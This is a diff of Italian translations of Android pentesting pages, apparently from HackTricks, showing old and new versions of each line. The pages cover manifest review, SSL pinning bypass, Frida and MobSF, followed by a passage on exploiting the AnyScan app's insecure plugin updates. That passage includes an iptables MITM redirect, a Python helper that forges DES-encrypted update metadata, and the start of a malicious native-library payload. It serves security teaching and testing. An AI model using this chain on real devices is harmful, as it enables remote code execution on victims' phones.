||||
|
||||
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
|
||||
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
|
||||
- **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
|
||||
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
|
||||
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
|
||||
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati, prestando particolare attenzione a come vengono gestiti gli URL schemes per le vulnerabilità di input.
|
||||
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
|
||||
|
||||
Dal file **strings.xml**, possono essere scoperte informazioni sensibili come chiavi API, schemi personalizzati e altre note degli sviluppatori, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||
Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** è un attacco in cui un'**applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
|
||||
In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
|
||||
In effetti, sta **ciecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
|
||||
|
||||
Trova maggiori informazioni in:
|
||||
Trova ulteriori informazioni in:
|
||||
|
||||
{{#ref}}
|
||||
tapjacking.md
|
||||
@ -95,9 +95,9 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Questo significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
|
||||
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
|
||||
|
||||
Maggiore info in:
|
||||
Maggiori informazioni in:
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
@ -112,19 +112,19 @@ In Android, i file **memorizzati** nella **memoria interna** sono **progettati**
|
||||
1. **Static Analysis:**
|
||||
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
|
||||
2. **Dynamic Analysis:**
|
||||
- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
|
||||
|
||||
**External Storage**
|
||||
|
||||
Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
|
||||
|
||||
1. **Accessibilità**:
|
||||
- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
- I file su memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
|
||||
2. **Preoccupazioni di Sicurezza**:
|
||||
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** su memoria esterna.
|
||||
- La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
|
||||
3. **Gestione dei Dati dalla Memoria Esterna**:
|
||||
- Esegui sempre **validazione degli input** sui dati recuperati dalla memoria esterna. Questo è cruciale poiché i dati provengono da una fonte non attendibile.
|
||||
- Esegui sempre **validazione dell'input** sui dati recuperati dalla memoria esterna. Questo è cruciale perché i dati provengono da una fonte non attendibile.
|
||||
- Memorizzare eseguibili o file di classe su memoria esterna per il caricamento dinamico è fortemente sconsigliato.
|
||||
- Se la tua applicazione deve recuperare file eseguibili dalla memoria esterna, assicurati che questi file siano **firmati e verificati crittograficamente** prima di essere caricati dinamicamente. Questo passaggio è vitale per mantenere l'integrità della sicurezza della tua applicazione.
|
||||
|
||||
@ -157,14 +157,14 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
|
||||
|
||||
**Utilizzo di algoritmi insicuri e/o deprecati**
|
||||
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se si utilizzano **hash** per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti al brute-force con sale.
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli di autorizzazione**, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
|
||||
|
||||
### Altri controlli
|
||||
|
||||
- È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i **propri controlli per vedere se il mobile è rootato** e agire di conseguenza.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata.
|
||||
- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata.
|
||||
- Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK.
|
||||
|
||||
### Applicazione React Native
|
||||
@ -185,7 +185,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell
|
||||
|
||||
### Applicazioni Superpacked
|
||||
|
||||
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.**
|
||||
|
||||
### Analisi statica automatizzata del codice
|
||||
|
||||
@ -238,20 +238,20 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d
|
||||
|
||||
#### Utilizzando un emulatore
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi versioni x86** supportano le librerie ARM senza necessità di un emulatore arm lento).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi versioni x86** supportano le librerie ARM senza necessitare di un emulatore arm lento).
|
||||
- Impara a configurarlo in questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _**VirtualBox** per evitare potenziali errori._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile.
|
||||
|
||||
Per **installare i servizi google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
|
||||
Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -290,9 +290,9 @@ Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli
|
||||
|
||||
Come pentester, **cerca di dare un'occhiata a questi log**.
|
||||
|
||||
**Dati analitici inviati a terzi**
|
||||
**Dati di analisi inviati a terzi**
|
||||
|
||||
Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
|
||||
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
|
||||
|
||||
### DB SQLite
|
||||
|
||||
@ -315,7 +315,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
|
||||
|
||||
**Bypass dell'autorizzazione**
|
||||
|
||||
Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**.
|
||||
Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
|
||||
|
||||
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -337,7 +337,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Se il tapjacking non è prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
|
||||
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).
|
||||
|
||||
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
|
||||
|
||||
@ -351,7 +351,7 @@ I content provider sono fondamentalmente utilizzati per **condividere dati**. Se
|
||||
[**Leggi questo se vuoi rinfrescare cosa è un Servizio.**](android-applications-basics.md#services)\
|
||||
Ricorda che le azioni di un Servizio iniziano nel metodo `onStartCommand`.
|
||||
|
||||
Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione sta esportando alcuni servizi, dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\
|
||||
Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione esporta alcuni servizi, dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\
|
||||
[**Scopri come sfruttare i Servizi con Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Sfruttare i Broadcast Receivers**
|
||||
@ -399,7 +399,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
|
||||
|
||||
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
|
||||
- **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
|
||||
- **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità maligne.
|
||||
|
||||
#### Verifica del certificato
|
||||
|
||||
@ -415,13 +415,13 @@ Per ispezionare il traffico HTTP, è necessario **installare il certificato dell
|
||||
|
||||
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è fondamentale per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CAs validi.
|
||||
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CA valide.
|
||||
|
||||
#### Bypassare SSL Pinning
|
||||
|
||||
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
|
||||
|
||||
- Modifica automaticamente l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
|
||||
- Modifica **automaticamente** l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il miglior vantaggio di questa opzione è che non avrai bisogno di root per bypassare l'SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare quella nuova, e questo non funzionerà sempre.
|
||||
- Potresti usare **Frida** (discusso di seguito) per bypassare questa protezione. Qui hai una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **l'analisi dinamica di MobSF** (spiegato di seguito)
|
||||
@ -433,7 +433,7 @@ Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionar
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) è un toolkit di strumentazione dinamica per sviluppatori, ingegneri inversi e ricercatori di sicurezza.\
|
||||
[Frida](https://www.frida.re) è un toolkit di strumentazione dinamica per sviluppatori, reverse-engineer e ricercatori di sicurezza.\
|
||||
**Puoi accedere all'applicazione in esecuzione e agganciare metodi in tempo reale per cambiare il comportamento, cambiare valori, estrarre valori, eseguire codice diverso...**\
|
||||
Se vuoi fare pentesting su applicazioni Android, devi sapere come usare Frida.
|
||||
|
||||
@ -501,7 +501,7 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
|
||||
### Punti Essenziali
|
||||
|
||||
- **Iniezione di Intent** è simile al problema di Open Redirect del web.
|
||||
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
|
||||
- Gli exploit comportano il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
|
||||
- Può esporre componenti non esportati e provider di contenuti agli attaccanti.
|
||||
- La conversione di URL in `Intent` di `WebView` può facilitare azioni indesiderate.
|
||||
|
||||
@ -512,7 +512,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
|
||||
- **Iniezione SQL:** Quando gestisci query dinamiche o Content-Providers assicurati di utilizzare query parametrizzate.
|
||||
- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Cookie Eterni**: In diversi casi, quando l'applicazione android termina la sessione, il cookie non viene revocato o potrebbe essere persino salvato su disco.
|
||||
- **Cookie Eterni**: In diversi casi, quando l'applicazione Android termina la sessione, il cookie non viene revocato o potrebbe persino essere salvato su disco.
|
||||
- [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
@ -525,7 +525,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
|
||||
|
||||
.png>)
|
||||
|
||||
**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
|
||||
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -538,13 +538,13 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal
|
||||
### Analisi dinamica assistita con MobSF
|
||||
|
||||
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
|
||||
L'**analizzatore dinamico MobSF** può:
|
||||
L'**analizzatore dinamico di MobSF** può:
|
||||
|
||||
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
|
||||
- Catturare il **traffico HTTPS**
|
||||
- Usare **Frida** per ottenere **informazioni** **runtime**
|
||||
|
||||
Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni **proxy** globali per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
Dalle versioni di Android **> 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
|
||||
**Frida**
|
||||
|
||||
@ -552,7 +552,7 @@ Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypass
|
||||
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
|
||||
|
||||
Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
|
||||
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script Frida a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
|
||||
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script di venerdì a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -580,7 +580,7 @@ receivers
|
||||
```
|
||||
**Strumenti HTTP**
|
||||
|
||||
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
|
||||
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
|
||||
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
|
||||
@ -599,7 +599,7 @@ Questo strumento utilizzerà alcuni **Hooks** per farti sapere **cosa sta succed
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Questo è un **ottimo strumento per eseguire analisi statiche con un'interfaccia grafica**
|
||||
Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -625,7 +625,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità.
|
||||
SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Fa questo decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità.
|
||||
|
||||
Tutte le regole sono centrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno.
|
||||
|
||||
@ -657,9 +657,9 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
|
||||
|
||||
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
|
||||
Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -716,7 +716,7 @@ Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza n
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale sia il tipo specifico di offuscazione utilizzato.
|
||||
È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale tipo specifico di offuscazione venga utilizzato.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Meccanismi di Aggiornamento In-App Insicuri – Esecuzione Remota di Codice tramite Plugin Maligni
|
||||
# Meccanismi di Aggiornamento In-App Insicuri – Esecuzione Remota di Codice tramite Plugin Maliziosi
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,7 +7,7 @@ Molte applicazioni Android implementano i propri **canali di aggiornamento “pl
|
||||
Questa pagina riassume una catena di vulnerabilità del mondo reale trovata nell'app di diagnostica automobilistica Xtool **AnyScan** (v4.40.11 → 4.40.40) e generalizza la tecnica in modo da poter auditare altre app Android e sfruttare la misconfigurazione durante un ingaggio di red-team.
|
||||
|
||||
---
|
||||
## 1. Identificazione di un TrustManager TLS Insicuro
|
||||
## 1. Identificare un TrustManager TLS Insicuro
|
||||
|
||||
1. Decompila l'APK con jadx / apktool e localizza lo stack di rete (OkHttp, HttpUrlConnection, Retrofit…).
|
||||
2. Cerca un **`TrustManager`** o `HostnameVerifier` personalizzato che si fida ciecamente di ogni certificato:
|
||||
@ -29,13 +29,13 @@ iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on r
|
||||
```
|
||||
## 2. Reverse-Engineering the Update Metadata
|
||||
|
||||
In the AnyScan case each app launch triggers an HTTPS GET to:
|
||||
Nel caso di AnyScan, ogni avvio dell'app attiva un HTTPS GET a:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
Il corpo della risposta è un **documento XML** i cui nodi `<FileData>` contengono JSON **codificato in Base64, crittografato con DES-ECB** che descrive ogni plugin disponibile.
|
||||
|
||||
Passi tipici di ricerca:
|
||||
Passi tipici di hunting:
|
||||
1. Individuare la routine crittografica (ad es. `RemoteServiceProxy`) e recuperare:
|
||||
* algoritmo (DES / AES / RC4 …)
|
||||
* modalità di operazione (ECB / CBC / GCM …)
|
||||
@ -57,7 +57,7 @@ return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"
|
||||
```
|
||||
## 3. Crea un Plugin Maligno
|
||||
|
||||
1. Scegli qualsiasi plugin legittimo in formato ZIP e sostituisci la libreria nativa con il tuo payload:
|
||||
1. Scegli un qualsiasi plugin legittimo in formato ZIP e sostituisci la libreria nativa con il tuo payload:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -97,13 +97,13 @@ Quando la vittima avvia l'app, essa:
|
||||
* recupera il nostro XML contraffatto attraverso il canale MITM;
|
||||
* decripta e analizza con la chiave DES hard-coded;
|
||||
* scarica `PWNED.zip` → decomprime all'interno dello storage privato;
|
||||
